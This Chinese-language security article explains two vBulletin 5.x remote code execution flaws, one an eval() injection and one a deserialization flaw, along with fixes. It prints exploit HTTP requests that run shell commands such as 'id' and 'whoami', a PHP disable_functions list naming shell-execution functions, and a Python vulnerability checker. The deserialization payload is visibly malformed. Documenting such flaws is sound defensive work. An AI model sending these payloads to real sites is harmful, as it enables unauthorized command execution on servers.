vBulletin 5.x 版本中存在多个远程代码执行(RCE)漏洞,这些漏洞允许攻击者在未授权的情况下在服务器上执行任意代码。这些漏洞通常源于不安全的反序列化、模板注入或Ajax API的不当处理。
漏洞原理:
- 影响版本:vBulletin 5.0.0 - 5.5.4
- 漏洞位于/ajax/render/widget_php
端点
- 当widgetConfig[code]
参数被直接传递给eval()
函数时,导致PHP代码执行
漏洞利用示例:
POST /ajax/render/widget_php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
widgetConfig[code]=echo shell_exec('id');exit;
修复方案: - 升级到vBulletin 5.5.4以上版本 - 禁止直接执行用户提供的PHP代码 - 对widget_php端点进行严格的权限检查
漏洞原理:
- 影响版本:vBulletin 5.5.4 - 5.6.2
- 漏洞位于/ajax/api/hook/decodeArguments
端点
- 不安全的反序列化操作导致对象注入
漏洞利用示例:
POST /ajax/api/hook/decodeArguments HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/json
{"arguments":"O:12:\"vB_dB_Result\":2:{s:5:\"\u0000*\u0000db\";O:17:\"
"vB_Database_MySQL\":1:{s:9:\"functions\";a:1:{s:11:\"free_result\""
";s:6:\"system\";}}s:12:\"\u0000*\u0000recordset\";s:9:\"id;whoami\";}"}
修复方案: - 升级到vBulletin 5.6.2以上版本 - 实现安全的反序列化机制 - 对输入数据进行严格验证
及时更新:
安全配置:
// 禁用危险PHP函数
disable_functions = "exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source"
Web服务器防护:
/ajax/
路径的访问代码审查:
eval()
、unserialize()
等危险函数的代码最小权限原则:
安全验证示例(仅用于授权测试):
import requests
def check_vbulletin_rce(target):
try:
response = requests.post(
f"{target}/ajax/render/widget_php",
data={"widgetConfig[code]": "echo 'TEST';"},
timeout=10
)
if 'TEST' in response.text:
return True
except Exception:
pass
return False
注意:此代码仅用于授权安全测试,未经授权的测试可能违反法律。
vBulletin 5.x的RCE漏洞通常源于对用户输入的不当处理,特别是直接执行PHP代码或不安全的反序列化操作。通过及时更新、安全配置和代码审查,可以显著降低这些漏洞的风险。